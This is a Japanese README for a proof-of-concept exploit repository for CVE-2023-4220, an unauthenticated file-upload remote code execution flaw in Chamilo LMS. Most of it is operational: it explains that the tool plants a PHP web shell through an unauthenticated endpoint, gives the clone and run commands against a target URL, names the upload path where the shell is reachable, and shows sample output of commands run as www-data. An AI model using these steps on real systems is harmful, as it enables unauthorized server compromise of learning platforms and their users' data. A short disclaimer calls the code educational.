
(CVE-2023-4220) Chamilo LMS 認証なし大容量ファイルアップロードによるリモートコード実行
このリポジトリには、Chamilo LMS において特定された脆弱性 CVE-2023-4220 の概念実証(PoC)エクスプロイトが含まれています。このエクスプロイトは認証不要のファイルアップロード脆弱性を利用し、リモートの攻撃者が影響を受けるシステム上で任意のコードを実行することを可能にします。
免責事項: このコードは教育および研究目的のみに提供されています。著者はこのコードの誤用について一切の責任を負いません。
このリリースより前のChamilo LMSバージョンはこの問題に対して脆弱です。この脆弱性はファイルアップロードの不適切な検証と処理に起因し、攻撃者がサーバー上に悪意のあるファイルをアップロードして実行することを可能にします。
upload_shell() と execute_command() の2つの主要な関数に分割され、理解と保守が容易になっています。--shell 引数でアップロードするシェルファイルの名前を指定できます。デフォルトは rce.php です。このエクスプロイトはChamilo LMSのファイルアップロード機能を標的としています。PHPコードを含む悪意のあるファイルを作成し、認証不要のエンドポイントを通じてアップロードすることで、攻撃者はサーバー上で任意のコマンドを実行できます。
pip install requests でインストール。git clone https://github.com/0x00-null/Chamilo-CVE-2023-4220-RCE-Exploit.git
cd Chamilo-CVE-2023-4220-RCE-Exploit
ターゲットURLと実行したいコマンドを引数として渡してエクスプロイトを実行します:
python exploit.py <target_url> <command>
python3 exploit.py http://lms.target-site/ id --shell=my_shell.php
このコマンドは以下の処理を行います:
target_url にアップロードします。id コマンドを実行します。成功した場合、スクリプトは以下を出力します:
例:
[+] File uploaded successfully!
[+] Access the shell at: http://lms.target-site/main/inc/lib/javascript/bigupload/files/my_shell.php?cmd=
[+] Command Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
このプロジェクトはMITライセンスの下でライセンスされています。
ご質問や問題がございましたら、このリポジトリでIssueを開くか、[medkamelbouzekria - at - gmail -dot - com] までご連絡ください。